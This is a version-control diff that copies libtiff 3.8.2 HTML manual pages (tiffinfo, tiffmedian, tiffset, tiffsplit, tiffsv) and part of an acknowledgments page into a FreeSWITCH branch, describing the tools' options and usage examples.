Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffinfo.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffinfo.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffinfo.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffinfo.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,196 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFINFO</title>
+</head>
+<body>
+
+<h1 align=center>TIFFINFO</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffinfo &minus; print information about
+<small>TIFF</small> files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b> [ <i>options</i> ] <i>input.tif
+...</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Tiffinfo</i> displays information about files created
+according to the Tag Image File Format, Revision 6.0. By
+default, the contents of each <small>TIFF</small> directory
+in each file is displayed, with the value of each tag shown
+symbolically (where sensible).</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Display the colormap and color/gray response curves, if
+present.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;D</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>In addition to displaying the directory tags, read and
+decompress all the data in each image (but not display
+it).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;d</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>In addition to displaying the directory tags, print each
+byte of decompressed data in hexadecimal.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;j</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Display any <small>JPEG</small> -related tags that are
+present.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;o</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the initial <small>TIFF</small> directory according
+to the specified file offset. The file offset may be
+specified using the usual C-style syntax; i.e. a leading
+&lsquo;&lsquo;0x&rsquo;&rsquo; for hexadecimal and a leading
+&lsquo;&lsquo;0&rsquo;&rsquo; for octal.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Display the offsets and byte counts for each data strip
+in a directory.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;z</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Enable strip chopping when reading image data.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;#</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the initial <small>TIFF</small> directory to
+<i>#</i>.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffcp</b>(1), <b>tiffcmp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffmedian.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffmedian.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffmedian.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffmedian.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffmedian.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,183 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFMEDIAN</title>
+</head>
+<body>
+
+<h1 align=center>TIFFMEDIAN</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffmedian &minus; apply the median cut algorithm to data
+in a <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffmedian</b> [ <i>options</i> ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffmedian</i> applies the median cut algorithm to an
+<small>RGB</small> image in <i>input.tif</i> to generate a
+palette image that is written to <i>output.tif</i>. The
+generated colormap has, by default, 256 entries. The image
+data is quantized by mapping each pixel to the closest color
+values in the colormap.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the compression to use for data written to the
+output file: <b>none</b> for no compression, <b>packbits</b>
+for PackBits compression, <b>lzw</b> for Lempel-Ziv &amp;
+Welch compression, and <b>zip</b> for Deflate compression.
+By default <i>tiffmedian</i> will compress data according to
+the value of the <i>Compression</i> tag found in the source
+file.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p><small>LZW</small> compression can be specified together
+with a <i>predictor</i> value. A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value of 1 forces each
+scanline to be encoded without differencing. LZW-specific
+options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;lzw&rsquo;&rsquo; option; e.g. <b>&minus;c
+lzw:2</b> for <small>LZW</small> compression with horizontal
+differencing.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;C</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Specify the number of entries to use in the generated
+colormap. By default all 256 entries/colors are used.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Apply Floyd-Steinberg dithering before selecting a
+colormap entry.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Specify the number of rows (scanlines) in each strip of
+data written to the output file. By default,
+<i>tiffmedian</i> attempts to set the rows/strip that no
+more than 8 kilobytes of data appear in a strip.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>This program is derived from Paul Heckbert&rsquo;s
+<i>median</i> program.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffcmp</b>(1), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p><b>Color Image Quantization for Frame Buffer Display</b>,
+Paul Heckbert, SIGGRAPH proceedings, 1982, pp. 297-307.</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffset.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffset.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffset.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffset.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffset.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,174 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSET</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSET</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#EXAMPLES">EXAMPLES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffset &minus; set a field in a <small>TIFF</small>
+header</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffset</b> [ options ] <i>filename.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Tiffset</i> sets the value of a <small>TIFF</small>
+header to a specified value.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;s tagnumber [count] value ...</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Set the value of the named tag to the value or values
+specified.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;sf tagnumber filename</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Set the value of the tag to the contents of filename.
+This option is supported for ASCII tags only.</p>
+</td>
+</table>
+<a name="EXAMPLES"></a>
+<h2>EXAMPLES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following example sets the image description tag
+(270) of a.tif to the contents of the file descrip:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffset -sf 270 descrip a.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following example sets the artist tag (315) of a.tif
+to the string &quot;Anonymous&quot;:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffset -s 305 Anonymous a.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>This example sets the resolution of the file a.tif to 300
+dpi:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiffset -s 296 2 a.tif
+tiffset -s 282 300.0 a.tif
+tiffset -s 283 300.0 a.tif
+</pre>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffdump</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsplit.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsplit.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffsplit.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsplit.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsplit.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,102 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSPLIT</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSPLIT</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffsplit &minus; split a multi-image <small>TIFF</small>
+into single-image <small>TIFF</small> files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffsplit</b> <i>src.tif</i> [ <i>prefix</i> ]</p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffsplit</i> takes a multi-directory (page)
+<small>TIFF</small> file and creates one or more
+single-directory (page) <small>TIFF</small> files from it.
+The output files are given names created by concatenating a
+prefix, a lexically ordered suffix in the range
+[<i>aaa</i>-<i>zzz</i>], the suffix <i>.tif</i> (e.g.
+<i>xaaa.tif</i>, <i>xaab.tif</i>, <i>xzzz.tif</i>). If a
+prefix is not specified on the command line, the default
+prefix of <i>x</i> is used.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Only a select set of &lsquo;&lsquo;known
+tags&rsquo;&rsquo; is copied when splitting.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffcp</b>(1), <b>tiffinfo</b>(1),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsv.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsv.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffsv.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsv.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffsv.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,207 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:14 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSV</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSV</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#NOTE">NOTE</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffsv &minus; save an image from the framebuffer in a
+<small>TIFF</small> file (Silicon Graphics version)</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffsv</b> [ <i>options</i> ] <i>output.tif</i> [
+<i>x1 x2 y1 y2</i> ]</p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffsv</i> saves all or part of the framebuffer in a
+file using the Tag Image File Format, Revision 6.0. By
+default, the image is saved with data samples packed
+(<i>PlanarConfiguration</i>=1), compressed with the
+Lempel-Ziv &amp; Welch algorithm (<i>Compression</i>=5), and
+with each strip no more than 8 kilobytes. These
+characteristics can be overridden, or explicitly specified
+with the options described below.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;b</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Save the image as a greyscale image as if it were
+processed by <i>tiff2bw</i>(1). This option is included for
+compatibility with the standard <i>scrsave</i>(6D)
+program.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the compression to use for data written to the
+output file: <b>none</b> for no compression, <b>packbits</b>
+for PackBits compression, <b>jpeg</b> for baseline JPEG
+compression, <b>zip</b> for Deflate compression, and
+<b>lzw</b> for Lempel-Ziv &amp; Welch compression
+(default).</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p><small>LZW</small> compression can be specified together
+with a <i>predictor</i> value. A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value of 1 forces each
+scanline to be encoded without differencing. LZW-specific
+options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;lzw&rsquo;&rsquo; option; e.g. <b>&minus;c
+lzw:2</b> for <small>LZW</small> compression with horizontal
+differencing.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the planar configuration to use in writing image
+data. By default, <i>tiffsv</i> will create a new file with
+the data samples packed contiguously. Specifying <b>&minus;p
+contig</b> will force data to be written with multi-sample
+data packed together, while <b>&minus;p separate</b> will
+force samples to be written in separate planes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the number of rows (scanlines) in each strip of
+data written to the output file. By default, <i>tiffsv</i>
+attempts to set the rows/strip that no more than 8 kilobytes
+of data appear in a strip.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="NOTE"></a>
+<h2>NOTE</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Except for the use of <small>TIFF,</small> this program
+is equivalent to the standard <i>scrsave</i> program. This
+means, for example, that you can use it in conjunction with
+the standard <i>icut</i> program simply by creating a link
+called <i>scrsave</i>, or by creating a shell script called
+<i>scrsave</i> that invokes <i>tiffgt</i> with the
+appropriate options.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>If data are saved compressed and in separate planes, then
+the rows in each strip is silently set to one to avoid
+limitations in the <b>libtiff</b>(3TIFF) library.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>scrsave</b>(6D) <b>pal2rgb</b>(1), <b>tiffdump</b>(1),
+<b>tiffgt</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/misc.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/misc.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/misc.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/misc.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/misc.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+<HTML>
+<HEAD>
+<TITLE>
+Acknowledgments and Other Issues
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans"> 
+<H1>
+<IMG SRC=images/ring.gif WIDTH=124 HEIGHT=124 ALIGN=left BORDER=1 HSPACE=6>
+Acknowledgments and Other Issues
+</H1>
+
+<P>
+Silicon Graphics has seen fit to allow us to give this work away.  It
+is free.  There is no support or guarantee of any sort as to its
+operations, correctness, or whatever.  If you do anything useful with
+all or parts of it you need to honor the copyright notices.  It would
+also be nice to be acknowledged.<p>
+
+<BR CLEAR=left>
+
+<H2>Acknowledgements</H2>
+
+The libtiff software was written by Sam Leffler while working for
+Silicon Graphics.<p>
+
+The LZW algorithm is derived from the compress program (the proper
+attribution is included in the source code).  The Group 3 fax stuff
+originated as code from Jef Poskanzer, but has since been rewritten
+several times.  The latest version uses an algorithm from Frank
+Cringle -- consult <TT>libtiff/mkg3states.c</TT> and
+<TT>libtiff/tif_fax3.h</TT> for further information.
+The JPEG support was written by Tom Lane and is dependent on the
+excellent work of Tom Lane and the Independent JPEG Group (IJG)
+who distribute their work under friendly licensing similar to this
+software.
+Many other people have by now helped with bug fixes and code; a
+few of the more persistent contributors have been:
+
+<PRE>
+    Bjorn P. Brox
+    Dan McCoy
+    J.T. Conklin                
+    Richard Minner
+    Frank D. Cringle        
+    Richard Mlynarik
+    Soren Pingel Dalsgaard  
+    Niles Ritter
+    Steve Johnson           
+    Karsten Spang
+    Tom Lane               
+    Peter Smith
+    Brent Roman            
+    Mike Welles
